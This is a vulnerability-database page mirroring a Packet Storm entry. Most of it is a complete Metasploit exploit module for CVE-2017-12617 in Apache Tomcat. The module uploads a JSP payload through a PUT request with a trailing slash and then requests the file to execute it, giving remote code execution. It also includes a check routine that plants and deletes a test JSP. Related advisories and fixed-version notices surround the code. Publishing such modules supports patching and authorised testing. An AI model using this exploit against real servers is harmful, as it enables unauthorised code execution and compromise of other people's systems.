Lucene search

K

Tomcat JSP Upload Bypass Remote Code Execution

🗓️ 12 Oct 2017 00:00:00Reported by peewpwType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 205 Views

Uploads JSP payload and executes it via Tomcat RCE.

Show more

AI Insights are available for you today

Leverage the power of AI to quickly understand vulnerabilities, impacts, and exploitability

Related
Code
ReporterTitlePublishedViews
Family
Cvelist
CVE-2017-12617
3 Oct 201715:00
cvelist
Packet Storm
Apache Tomcat Upload Bypass / Remote Code Execution
10 Oct 201700:00
packetstorm
Prion
Code injection
4 Oct 201701:29
prion
NVD
CVE-2017-12617
4 Oct 201701:29
nvd
Debian
[SECURITY] [DLA 1166-1] tomcat7 security update
7 Nov 201719:01
debian
Apache Tomcat
Fixed in Apache Tomcat 9.0.1
30 Sep 201700:00
tomcat
Apache Tomcat
Fixed in Apache Tomcat 8.0.47
4 Oct 201700:00
tomcat
Apache Tomcat
Fixed in Apache Tomcat 7.0.82
4 Oct 201700:00
tomcat
Apache Tomcat
Fixed in Apache Tomcat 8.5.23
1 Oct 201700:00
tomcat
Nuclei
Apache Tomcat - Remote Code Execution
15 Jun 202308:45
nuclei
Rows per page
`##  
# This module requires Metasploit: http://metasploit.com/download  
# Current source: https://github.com/rapid7/metasploit-framework  
##  
  
class MetasploitModule < Msf::Exploit::Remote  
  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Tomcat RCE via JSP Upload Bypass',  
'Description' => %q{  
This module uploads a jsp payload and executes it.  
},  
'Author' => 'peewpw',  
'License' => MSF_LICENSE,  
'References' =>  
[  
[ 'CVE', '2017-12617' ],  
[ 'URL', 'http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-12617' ],  
[ 'URL', 'https://bz.apache.org/bugzilla/show_bug.cgi?id=61542' ]  
],  
'Privileged' => false,  
'Platform' => %w{ linux win }, # others?  
'Targets' =>  
[  
[ 'Automatic',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'win'  
}  
],  
[ 'Java Windows',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'win'  
}  
],  
[ 'Java Linux',  
{  
'Arch' => ARCH_JAVA,  
'Platform' => 'linux'  
}  
]  
],  
'DisclosureDate' => 'Oct 03 2017',  
'DefaultTarget' => 0))  
  
register_options([  
OptString.new('TARGETURI', [true, "The URI path of the Tomcat installation", "/"]),  
Opt::RPORT(8080)  
])  
end  
  
def check  
testurl = Rex::Text::rand_text_alpha(10)  
testcontent = Rex::Text::rand_text_alpha(10)  
  
send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),  
'method' => 'PUT',  
'data' => "<% out.println(\"#{testcontent}\");%>"  
})  
  
res1 = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),  
'method' => 'GET'  
})  
  
if res1 && res1.body.include?(testcontent)  
send_request_cgi(  
opts = {  
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),  
'method' => 'DELETE'  
},  
timeout = 1  
)  
return Exploit::CheckCode::Vulnerable  
end  
  
Exploit::CheckCode::Safe  
end  
  
def exploit  
print_status("Uploading payload...")  
testurl = Rex::Text::rand_text_alpha(10)  
  
res = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp/"),  
'method' => 'PUT',  
'data' => payload.encoded  
})  
if res && res.code == 201  
res1 = send_request_cgi({  
'uri' => normalize_uri(target_uri.path, "#{testurl}.jsp"),  
'method' => 'GET'  
})  
if res1 && res1.code == 200  
print_status("Payload executed!")  
else  
fail_with(Failure::PayloadFailed, "Failed to execute the payload")  
end  
else  
fail_with(Failure::UnexpectedReply, "Failed to upload the payload")  
end  
end  
  
end  
`

Transform Your Security Services

Elevate your offerings with Vulners' advanced Vulnerability Intelligence. Contact us for a demo and discover the difference comprehensive, actionable intelligence can make in your security strategy.

Book a live demo
12 Oct 2017 00:00Current
8.5High risk
Vulners AI Score8.5
EPSS0.94394
205
.json
Report